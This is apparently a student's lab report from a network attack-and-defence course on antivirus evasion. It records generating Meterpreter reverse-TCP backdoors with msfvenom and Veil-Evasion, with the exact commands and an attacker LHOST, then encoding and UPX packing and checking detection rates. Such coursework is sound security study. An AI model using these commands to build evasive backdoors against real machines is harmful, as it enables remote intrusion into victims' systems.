20155321 《网络攻防》 Exp3 免杀原理与实践

基础问题回答

  • 杀软是如何检测出恶意代码的?

    • 根据实验指导书,杀软有两个方法可以检测出恶意代码。第一种是基于特征码,即先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码。第二种是基于行为,即杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等行为进行判断,但此方法有一定的错误率,相当于如果你做了别人应该做的事,那我就认为你是别人。
  • 免杀是做什么?
    • 即使用一些技巧避开杀软的检测方法,使自己的恶意代码可以存活下去,实现成功入侵。
  • 免杀的基本方法有哪些?
    • 基本方法我认为有以下几种:

      • 对恶意代码进行编码编译,但这种好像不太行,很多软件都可检测出来
      • 对恶意代码进行加壳
      • 利用shellcode进行编码
      • 使用反弹式

实验过程记录

使用msf生成后门程序的检测

  • 我使用上周实验时产生的执行文件用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:

  • 尝试编码一次再进行扫描看看结果


    从上图可以看出,就算是进行了一次编码,但从结果上看杀毒软件还是可以检测出来。
  • 编码十次再看看结果


    从上图可以看出,即使是编码了10遍,但从结果上看依旧没有任何变化。。。正如大家所说,毕竟是研究编码的人写的。。。

使用veil-evasion生成后门程序的检测

  • 安装Veil-Evasion

    • 因我的kali机是64位的,按照网上提供的教程安装Veil-Evasion时总是出现许多error,重装了好几次也还是没能解决,最后还把自己的虚拟机搞崩了,最后我采用了32位的虚拟机进行实验终于成功了,安装成功后如下图所示
    • 依次输入命令use python/meterpreter/rev_tcp设置payload,输入命令set LHOST 192.168.23.139 设置反弹连接IP(此IP为kali机的IP地址),输入命令set LPORT 5321设置反弹端口5321,输入命令generate 生成程序,最后输入后门程序名称即可,即可下图为生成的后门程序lrt5321
    • 找到该生成的文件lrt5321.exe,路径为/var/lib/veil-evasion/output/compiled
    • 进行扫描看看结果

利用shellcode编写后门程序的检测

  • 使用msf生成一个C语言格式的shellcode,即输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f c
    (其中,LHOST输入kali机的地址,LPORT输入自己的学号)后进行编译

  • 把以上数组的内容写入.C文件里
  • 编译此.c文件生成可执行文件并进行扫描看看结果

  • 而我主机的Windows defender也检测出了此木马文件

加壳

  • upx是一种压缩程序,可以实现加壳的功能,该指令加壳的命令格式:upx #需要加壳的文件名 -o #加壳后的文件名
  • 进行扫描看看结果


    可以看出还是可以发现有木马,但时发现的比例已经低了许多
  • 放在主机上测测看是否能被Windows defender查出,结果还是被查出来了哈哈

实践总结与体会

我觉得通过此次免杀的实验,让我对自己计算机的防火墙有一丝担忧,虽然目前实验内的病毒,只要放在主机上,我的Windows defender几乎都可以查出来,但是我感觉黑客们的免杀技术也是会不断提高的。。

实验中遇到的问题

  • 一开始直接用上个实验的文件网页好像不支持这种命名格式,如下图所示:

    后来发现只要文件名中不含数字即可。

离实战还缺些什么技术或步骤?

  • 我认为还是可以通过其他方法获取被攻击主机的相关信息来进行提权,毕竟我认为找人的漏洞比找计算机的漏洞好像要容易一点。。

20155321 《网络攻防》 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  3. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  4. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  5. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  6. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  7. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  8. 2015306 白皎 《网络攻防》Exp3 免杀原理与实践

    2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...

  9. 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践

    ### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

随机推荐

  1. KCF的弊端

      一.前情提要 如果你对目标跟踪和KCF是什么东西还不了解的话欢迎你看前一篇博文KCF入门详解:https://www.cnblogs.com/jins-note/p/10215511.html  ...

  2. 关于win10下JDK环境变量的配置以及关于JDK的一些说明

    一.JDK的下载和安装 这里提供32位和64位JDK的下载链接 百度网盘:https://pan.baidu.com/s/1xtiVOE2gPCvlGCTy0vfBaw 密码:c5m4   官网:ht ...

  3. Expo大作战(六)--expo开发模式,expo中exp命令行工具,expo中如何查看日志log,expo中的调试方式

    简要:本系列文章讲会对expo进行全面的介绍,本人从2017年6月份接触expo以来,对expo的研究断断续续,一路走来将近10个月,废话不多说,接下来你看到内容,将全部来与官网 我猜去全部机翻+个人 ...

  4. [随时更新] Git的过滤规则 .gitignore 配置

    往github上传代码的时候,很多文件没必要都传,这就需要在.gitignore文件里配置一下过滤规则.在此记录一下各种项目的配置参数,先从最近做的android开始. 原文地址请保留http://w ...

  5. LeetCode题解之Number of Segments in a String

    1.题目描述 2.题目分析 找到字符串中的空格即可 3.代码 int countSegments(string s) { ){ ; } vector<string> v; ; i < ...

  6. 在 Windows 上创建虚拟机规模集和部署高度可用的应用

    利用虚拟机规模集,可以部署和管理一组相同的.自动缩放的虚拟机. 可以手动缩放规模集中的 VM 数,也可以定义规则,以便根据资源使用情况(如 CPU 使用率.内存需求或网络流量)进行自动缩放. 在本教程 ...

  7. QT的初步学习笔记

    一.Qt简介 1.Qt是什么:图形用户界面程序框架  能做界面的还有什么:MFC.GTK+ 2.Qt的由来和发展 3.为什么选择Qt 二.Qt环境与工具 1.工具   a.Qt助手:里面详细说明了Qt ...

  8. python 3.6 的 venv 模块

    今天,在在使用 pycharm 的使用,进行创建 python的时候,发现使用默认的创建的选项使用的python 3环境 .而我系统默认的python环境是 python 2.7 环境:这就引起了我的 ...

  9. VS2015 调试 条件和操作设置

    vs 开发过程中,经常会遇到这样的场景: 例如有几千条数据,调试代码的时候需要在循环中走到name="A"的这条数据, 并且单步调试这条数据走完整个逻辑过程.这个时候调试的条件设置 ...

  10. Python学习---Python环境变量安装问题0907

    问题背景: 重新安装操作系统后,原来的环境变量丢失[因Python3.5安装目录是E盘,文件还在,只是丢失了环境变量而已,添加即可] 问题解决: 方法一:使用cmd命令添加path环境变量 在cmd下 ...